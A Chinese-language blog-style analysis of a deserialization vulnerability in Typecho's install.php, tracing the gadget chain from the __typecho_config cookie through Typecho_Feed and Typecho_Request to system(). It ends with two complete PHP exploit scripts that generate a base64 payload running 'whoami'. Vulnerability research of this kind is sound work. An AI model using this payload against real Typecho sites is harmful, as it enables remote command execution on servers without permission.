typecho install.php反序列化漏洞分析
不想复习高数 抽空分析分析这个
要进入到漏洞代码这里需要满足isset($_GET['finish'] referer不为空且和当前网站为同一个域名
install.php
229-235行
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
config变量在进行base64解码之后再进行反序列化
跟进这个静态方法get()
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
可以看到这里可以从cookie或者post包中获取值赋给$value变量 最后返回 因为是base64后的数据 所以不为数组
回到install.php 233行
$installDb = new Typecho_Db($config['adapter'], $config['prefix']);
用反序列化来的$config对象中的adapter和prefix实例化了一个对象 跟进去
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
可看到这里的第7行直接将传过来的 $adapterName
直接拼接到字符串后面 所以如果这个变量是一个对象的话 就可以触发__tostring方法 我们全局找一下这个魔术方法
后面发现只有Typecho_Feed这一个类可以利用 我们进去看看
291行
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
这里去访问了item数组author键值的screenName属性 如果这个属性不存在就能调用__get魔术方法
但是进入这里有一个条件
都可控 然后这个_items为多维数组
我们继续找一下__get方法
Typecho_Request类 跟进get方法
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
$value可控 跟进_applyFilter方法
这里就能RCE了
编写我们的EXP
<?php
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items;
public function __construct(){
$this->_type=self::RSS2;
$this->_items=[
0=>[
'author'=>new Typecho_Request()]
];
}
}
class Typecho_Request
{
private $_params;
private $_filter;
public function __construct(){
$this->_filter=['system'];
$this->_params=['screenName'=>'whoami'];
}
}
$test=array('prefix'=>'typecho_',
'adapter'=>new Typecho_Feed()
);
echo base64_encode(serialize($test));
这时我们发现会报错 没有回显
这是因为在Typecho_Db类中
如果这个$adapterName对象里面没有isAvailable这个方法就会抛出异常
且清楚了缓存 导致无法输出错误信息以及我们的payload返回信息
所以我们需要它先报错 然后输出错误信息
这里将$item['category']设置为一个数组 且里面为一个对象就能报错 因为访问对象的属性是用->进行访问
<?php
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items;
public function __construct(){
$this->_type=self::RSS2;
$this->_items=[
0=>[
'author'=>new Typecho_Request(),'category'=>array(new Typecho_Request)]
];
}
}
class Typecho_Request
{
private $_params;
private $_filter;
public function __construct(){
$this->_filter=['system'];
$this->_params=['screenName'=>'whoami'];
}
}
$test=array('prefix'=>'typecho_',
'adapter'=>new Typecho_Feed()
);
echo base64_encode(serialize($test));
总的来说这个链子不算复杂